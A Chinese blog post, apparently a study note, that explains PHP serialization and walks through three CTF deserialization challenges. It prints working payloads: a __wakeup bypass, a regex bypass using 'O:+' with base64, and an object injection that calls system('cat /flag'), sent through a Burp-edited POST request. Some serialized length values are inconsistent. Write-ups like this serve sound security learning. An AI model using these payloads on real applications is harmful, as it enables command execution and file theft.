反序列化学习

hxy299 发布于 4 天前 13 次阅读


PHP反序列化

PHP 的序列化 / 反序列化核心依赖两个内置函数:
serialize():将对象 / 数组转为字符串(序列化);
unserialize():将序列化字符串还原为对象 / 数组(反序列化)。
此外,PHP 提供了 “魔术方法” 来干预序列化 / 反序列化过程,如 __sleep()(序列化前执行)和 __wakeup()(反序列化后执行)。

示例代码:

<?php
class Student {
    public $name;
    public $grade;                     //定义类

    public function __construct($name, $grade) {
        $this->name = $name;
        $this->grade = $grade;
    }                                  //构造函数

    public function __sleep() {
        echo "PHP序列化前执行__sleep()\n";
        return ['name'];
    }                                  //sleep魔术

    public function __wakeup() {
        echo "PHP反序列化后执行__wakeup()\n";
        $this->grade = "默认年级";
    }                                   //wakeup魔术

    public function showInfo() {
        echo "学生信息:姓名={$this->name},年级={$this->grade}\n";
    }                                      //构造输出函数
}

$student = new Student("李四", "高三");
$serializedStr = serialize($student);
echo "PHP序列化结果:{$serializedStr}\n";

$deserializedObj = unserialize($serializedStr);
$deserializedObj->showInfo();
?>

输出的字符串格式为:

 O:8:"Student":1:{s:4:"name";s:2:"李四";}

(含义:对象→类名长度→类名→属性数量→属性名→属性值)

输出如下:

PHP序列化前执行__sleep()
PHP序列化结果:O:8:"Student":1:{s:4:"name";s:2:"李四";}
PHP反序列化后执行__wakeup()
学生信息:姓名=李四,年级=默认年级

攻防世界unserialize3

题目代码:

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

__wakeup():反序列化时自动触发,执行exit直接终止程序,导致后续的__destruct()无法执行;

__destruct():对象销毁时自动触发,会输出flag的值(这是我们要触发的核心方法);

程序接收 GET 参数a,并对其反序列化,正常输入会触发__wakeup(),使用我们需要利用一个php漏洞:当序列化字符串中,表示对象属性个数的数字 > 实际属性个数 时,__wakeup()不会被触发。

因此我们只需要通过get传入一个对应的payload即可,构建原111的序列化可以使用php生成:

<?php
class xctf{
    public $flag = '111';
    public function __wakeup(){}
    public function __destruct(){}
}
$obj = new xctf();
echo serialize($obj);                  // 输出序列化字符串
?>

得到结果:

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

把书写个数从1改为2,得到:

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

最终通过get传入参数  ?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

得到最终结果:the answer is : cyberpeace{44d101ec3dfcaa3d6740468ea96d1fbe}

攻防世界 Web_php_unserialize

题目代码:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

这道题相对于上一道攻防世界unserialize3做了点防御:

  1. 拦截 O/C: 数字:格式的序列化字符串
  2. 要求参数先 base64 编码

对应绕过方式如下:

  1. 数字前加+号,PHP 仍能正常解析,但:\d+:不再匹配。
  2. 传参前base编码即可

先使用php代码得到原始序列化数据:

<?php
class Demo {
    private $file = 'fl4g.php';                     // 目标文件(网站上提示的)
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {}
    function __wakeup() {}
}

$obja = new Demo('fl4g.php');
$ser = serialize($obja);
echo "原始序列化字符串:" . $ser . "\n";
?>

得到如下:(/00为空字符)

O:4:"Demo":1:{s:10:"\00Demo\00file";s:8:"fl4g.php";}

首先更改属性值1为2,再把O:4改为O:+4,得到:

O:+4:"Demo":2:{s:10:"\00Demo\00file";s:8:"fl4g.php";}

再进行base64编码,可以利用php进行编码,代码:

<?php
                                       // 注意:\00要写成\x00(PHP中表示空字符)
$payload = 'O:+4:"Demo":2:{s:10:"' . "\x00" . 'Demo' . "\x00" . 'file";s:7:"fl4g.php";}';
$base64_payload = base64_encode($payload);
echo "Base64编码后的payload:" . $base64_payload . "\n";
?>

得到payload:

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

得到flag:
$flag="ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}";

[[SWPUCTF 2022 新生赛]1z_unserialize]

题目显示代码:

<?php
 
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;

        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
 
 
?> 

本题较上题较为简单,直接构建序列化的payload,原理:$a($this->lly) 等价于 $this->lt($this->lly),你可以控制 lt 为任意函数名(比如system),控制 lly 为该函数的参数(比如cat /flag),从而执行任意命令,通过cat /flag命令查看flag,构建代码如下:

<?php
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
}
$obj = new lyh();
$obj->lt = "system";         
$obj->lly = "cat /flag";   

echo serialize($obj);
?>

输出结果是:

O:3:"lyh":3:{s:3:"url";s:9:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:8:"cat /flag";}

然后打开Burp进行POST传参,开启代理拦截,拦截到后更改文本内容,原内容如下:

GET / HTTP/1.1
Host: node5.anna.nssctf.cn:20085
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1772881443; HMACCOUNT=A57936A89C73D0D0; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1772881839
Connection: keep-alive

首先更改为POST传递,添加POST请求头,随后在文本后面加入传递内容,更改后的文本如下

POST / HTTP/1.1
Host: node5.anna.nssctf.cn:20085
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1772881443; HMACCOUNT=A57936A89C73D0D0; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1772881839
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

放行后得到flag:NSSCTF{53d26daa-19b8-46aa-aa82-031bb12e5804}

JAVA反序列化

使用java.io.Serializable 接口

此作者没有提供个人介绍。
最后更新于 2026-04-26